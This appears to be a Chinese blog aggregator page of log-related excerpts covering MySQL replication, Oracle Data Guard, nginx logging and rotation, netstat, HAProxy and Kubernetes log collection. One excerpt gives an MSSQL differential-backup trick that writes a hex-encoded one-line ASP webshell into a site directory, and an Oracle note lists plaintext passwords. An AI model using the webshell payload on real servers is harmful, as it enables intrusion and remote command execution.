log文件

mysql 主从单库单表同步 binlog-do-db replicate-do-db

限于喜欢 提交于 2019-12-27 17:38:59
方案一:两边做主从。 SELECT SUM(DATA_LENGTH)+SUM(INDEX_LENGTH) FROM information_schema.tables WHERE TABLE_SCHEMA='(数据库名大小为K除去1048576为M)';查看库容量 SELECT TABLE_NAME,DATA_LENGTH+INDEX_LENGTH,TABLE_ROWS FROM information_schema.tables WHERE TABLE_SCHEMA='' AND TABLE_NAME=''; lqc_msg = 16651450340 =15,880M 导出来13G 16708081764 SHOW TABLE STATUS; 查看自增IP 导出数据库: mysqldump -uroot -p'' --single-transaction --events --triggers --routines --flush-logs --master-data=2 --databases | gzip > /mnt/l.sql.gz 复制数据 rsync -a /mnt/lqc_msg.sql.gz root@:/data/ 导入数据库: mysqldump -uroot -p data < /data/lqc.sql & SELECT SUM(DATA_LENGTH)

dataguard主库删除归档日志后从库恢复的方法

落花浮王杯 提交于 2019-12-27 04:50:26
------------------方法1在主库上使用备份的进行恢复丢失的归档日志------------------------- 1.发现主库备份后删除了归档,但是这些归档从库还没应用,也没有传到从库 从库应用的最新的归档日志为592 SQL> connect / as sysdba Connected. SQL> Select Max(t.SEQUENCE#) From V$archived_Log t; MAX(T.SEQUENCE#) ---------------- 592 主库的归档日志 SQL> connect / as sysdba Connected. SQL> Column Name format a100; SQL> Column THREAD# format 99; SQL> Column SEQUENCE# format 999999; SQL> Column STANDBY_DEST format a10; SQL> Column ARCHIVED format a10; SQL> Column APPLIED format a10; SQL> Column STATUS format a10; SQL> Column fal format a10; SQL> Column COMPLETION_TIME format a20; SQL> Select

nginx教程2:日志

心不动则不痛 提交于 2019-12-26 22:24:54
主要有两种:access_log(访问日志) 和 error_log(错误日志)。 access_log 访问日志 access_log 主要记录客户端访问 Nginx 的每一个请求,格式可以自定义。通过 access_log 你可以得到用户 地域 来源、 跳转 来源、使用终端、 某个 URL 访问量 等相关信息。 log_format 指令用于定义日志的格式,语法: log_format name string; 其中 name 表示格式名称,string 表示定义的格式字符串。log_format 有一个 默认的 无需设置的组合日志格式。 log_format combined ' $remote_addr - $remote_user [ $time_local ] ' ' " $request " $status $body_bytes_sent ' ' " $http_referer " " $http_user_agent " ' ; access_log 指令用来指定访问日志文件的存放路径(包含日志文件名)、格式和缓存大小,语法: access_log path [format_name [buffer=size | off]]; 其中 path 表示访问日志存放路径,format_name 表示访问日志格式名称,buffer 表示缓存大小, off 表示关闭访问日志

bay——安装_Oracle 12C-单实例-Centos7 -DG.txt

半世苍凉 提交于 2019-12-26 19:43:16
用户和密码: root/bayaim bayaim/064286BAIbay oracle/oracle SID:orcl sys/oracle system/oracle mpay/mpay dx/dx --------------------------------------------- linux #安装环境 export LANG=en_US systemctl stop firewalld.service (停止防火墙,这是CentOS7的命令) systemctl restart network //重启网卡----------- vi /etc/yum.repos.d/rhel-source.repo mount /dev/cdrom /mnt cd /etc/sysconfig/network-scripts [root@wwdb2 network-scripts]# cp ifcfg-eth0 ifcfg-eth0.bak [root@wwdb2 network-scripts]# vi ifcfg-eth0.bak 把 HWADDR 删除掉,然后改一下 IPADDR HWADDR=78:2B:CB:4A:15:93 [root@wwdb2 network-scripts]# mv ifcfg-eth0.bak ifcfg-eth0 mv: overwrite

MSsql差异备份总结

假如想象 提交于 2019-12-26 19:16:54
[ 转载开始... ] 1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';-- 2.创建表并插曲入数据 create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);-- 3.进行差异备份 backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;-- 上面 0x3C25657865637574652872657175657374282261222929253E 就是一句话木马的内容:<%execute(request("a"))%> 如下是网上常见的差异备份代码,思路一样! =================================================== 利用差异备份提高提高backupwebshell的成功率,减少文件大小 步骤: declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s

nginx自动切割访问日志

送分小仙女□ 提交于 2019-12-26 19:11:58
Web 访问日志 (access_log) 记录了所有外部客户端对Web服务器的访问行为,包含了客户端IP,访问日期,访问的URL资源,服务器返回的HTTP状态码等重要信息。 一条典型的Web访问日志如下: 112.97.37.90 - - [14/Sep/2013:14:37:39 +0800] "GET / HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; Lenovo A326 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.1.259" - 规划: 1、 要解决问题: 当网站访问量大后,日志数据就会很多,如果全部写到一个日志文件中去,文件会变得越来越大。文件大速度就会慢下来,比如一个文件几百兆。写入日志的时候,会影响操作速度。另外,如果我想看看访问日志,一个几百兆的文件,下载下来打开也很慢。使用第三方免费的日志分析工具-日志宝,可以上传nginx、apache、iis的日志文件,它们帮助分析网站安全方面。毕竟专攻,更加专业。日志宝对上传的文件也是做了大小限制的,不超过50m。 2、nignx没有自动分开文件存储日志的机制

k8s 应用日志收集

荒凉一梦 提交于 2019-12-26 14:59:41
[ ] 在进行日志收集的过程中,我们首先想到的是使用Logstash,因为它是ELK stack中的重要成员,但是在测试过程中发现,Logstash是基于JDK的,在没有产生日志的情况单纯启动Logstash就大概要消耗500M内存,在每个Pod中都启动一个日志收集组件的情况下,使用logstash有点浪费系统资源,经人推荐我们选择使用Filebeat替代,经测试单独启动Filebeat容器大约会消耗12M内存,比起logstash相当轻量级。 方案选择 Kubernetes官方提供了EFK的日志收集解决方案,但是这种方案并不适合所有的业务场景,它本身就有一些局限性,例如: 所有日志都必须是out前台输出,真实业务场景中无法保证所有日志都在前台输出 只能有一个日志输出文件,而真实业务场景中往往有多个日志输出文件 Fluentd并不是常用的日志收集工具,我们更习惯用logstash,现使用filebeat替代 我们已经有自己的ELK集群且有专人维护,没有必要再在kubernetes上做一个日志收集服务 基于以上几个原因,我们决定使用自己的ELK集群。 Kubernetes集群中的日志收集解决方案 编号 方案 优点 缺点 1 每个app的镜像中都集成日志收集组件 部署方便,kubernetes的yaml文件无须特别配置,可以为每个app自定义日志收集配置 强耦合

【我的Linux,我做主!】实战--使用netstat监控网络连接信息

雨燕双飞 提交于 2019-12-26 14:51:18
目录: (一)netstat简介 (二)netstat语法指南 (三)实战演练 (四)netstat小结 (一)netstat简介 (1.1)在Internet的RFC标准中,netstat的定义是:netstat是在内核中访问网络连接状态及相关信息的程序,它能提供TCP连接、在TCP和UDP监听、进程内存管理的相关报告。netstat是控制台命令,是一个监控TCP/IP网络的非常有用的工具,它可以显示路由表、实际的网络连接以及每一个网络接口设备的状态信息。netstat用于显示IP、TCP、UDP和ICMP协议相关的统计数据,一般用于检验本机各端口的网路连接情况。如果你的计算机有时候接收到的数据包导致出错数据或故障,你不必感到奇怪,TCP/IP可以容许这些类型的错误,并能够自动重发数据包。但如果累积的出错情况数目占到所接收的IP数据报相当大的百分比,或者它的数目正迅速增加,那么你就应该使用netstat查一查为什么会出现这些情况了。netstat命令的功能是显示网路连接、路由表和网络接口信息,可以让用户得知有哪些网络连接正在运作。使用时如果不带参数,netstat显示活动的TCP连接。 (1.2)我们的服务器经常会搭建网站同时会对外提供服务,很多时候我们想要监控服务器的TCP连接信息、UDP连接信息、或者查询有多少个用户连接到我们的服务器等,每个用户建立了多少个连接

使用Haproxy搭建群集

无人久伴 提交于 2019-12-26 14:36:15
常见的web集群调度器 目前常见的web集群调度器分为软件和硬件,软件通常使用开源的LVS,Haproxy,Nginx,硬件一般使用比较多的是F5,也有很多人使用国内的一些产品,如梭子鱼,绿盟等 Haproxy应用分析 LVS在企业应用中抗负载能力很强,但存在不足 LVS不支持正则处理,不能实现动静分离 对于大型网站,LVS的实施配置复杂,维护成本相对较高 Haproxy是一款可提供高可用性,负载均衡,及基于TCP和HTTP应用的代理的软件 特别适用于负载特别大的web站点 运行在当前的硬件上可支持数以万计的并发连接连接请求 Haproxy调度算法原理 RR:最简单常用的,轮询调度 LC:最小连接数算法,根据后端的节点连接数大小动态分配前端请求 SH:来源访问调度算法,用于有session会话记录在服务器端,可以基于来源ip,cookie做群集调度 Haproxy日志管理 Haproxy的日志默认是输出到系统的syslog中,在生产环境中一般单独定义出来 定义的方法步骤 修改Haproxy配置文件中关于日志配置的选项,加入配置: log /devlog local0 info log /dev/log local0 notice 修改rsyslog配置,将Haproxy相关的配置独立定义到haproxy.conf,并放到/etc/rsyslog.d/下

kubernetes日志收集

谁说我不能喝 提交于 2019-12-25 23:59:54
kubernetes的日志收集 日志收集在本篇文章中主要分2种方案 需要明确的是,kubernetes里对容器日志的处理方式,都叫做cluster-level-logging。 对于一个容器来说,当应用日志输出到stdout和stderr之后,容器项目在默认情况下就会把这些日志输出到宿主机上的一个JSON文件里。这样就能通过kubectl logs查看到日志了。 两种方案分别以Daemonset和sidecar模式部署 DaemonSet方式在每个节点只允许一个日志agent,相对资源占用要小很多,每个pod不能单独配置,可定制性较弱,比较适用于功能单一或业务不是很多的集群; Sidecar方式为每个POD单独部署日志agent,相对资源占用较多,每个pod可单独配置,可定制性强,建议在大型的K8S集群或多个业务方服务的集群使用该方式。 第一种   在Node上部署logging-agent,将日志文件发送到后端保存起来。   实际上这种模式的核心就是将logging-agent以Daemonset的方式运行在节点上,然后将宿主机上的容器日志挂载进去,最后由logging-agent把日志发送出去。   这种工作模式最大的有点,在于一个节点只需要部署一个agent,并且不会对应用和pod有任何的入侵。   在这里,我们通过fluentd作为logging